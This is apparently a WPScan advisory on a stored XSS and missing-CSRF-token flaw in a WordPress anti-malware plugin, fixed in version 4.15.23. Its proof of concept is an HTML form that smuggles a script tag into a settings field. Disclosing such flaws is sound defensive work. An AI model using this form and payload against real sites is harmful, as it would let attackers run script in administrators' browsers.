Anti-Malware & Brute-Force Security by ELI <= 4.15.22 - Stored XSS

Sign up to our free email alerts service for instant vulnerability notifications!

The Anti-Malware and Brute-Force Security by ELI has two issues which we will cover in this report. The first is that no nonce (CSRF token) is utilized on the settings screen. 

This could potentially result in resource utilization (by performing a large number of scans simultaneously), should an administrative user be tricked in to visiting a malicious site.

The second is that input is not correctly sanitized prior to output upon submission of the settings screen. This results in a Persistent XSS attack being triggered on the settings screen of this plugin.
Proof of Concept
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/admin.php?page=GOTMLS-settings>
        <input type="hidden" name="scan_type" value="Complete Scan"/>
        <input type="hidden" name="check[]" value="potential"/>
        <input type="hidden" name="scan_what" value="2"/>
        <input type="hidden" name="scan_depth" value="1"/>
        <input type="hidden" name="exclude_ext" value='png,jpg,jpeg,gif,bmp,tif,tiff,psd,fla,flv,mov,mp3,exe,zip,pdf,css,pot,po,mo,so,doc,docx,svg,ttf"><script>alert(1)</script>'/>
        <input type="hidden" name="exclude_dir" value=""/>
        <input type="hidden" name="skip_quarantine" value="1"/>


Plugin gotmls
fixed in version 4.15.23




Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)


Submitter James Hooker
Submitter Website
Submitter Twitter g0blinResearch
Views 162
Verified No


Publicly Published 2015-05-25 (over 1 year ago)
Added 2015-05-26 (over 1 year ago)
Last Updated 2015-05-26 (over 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.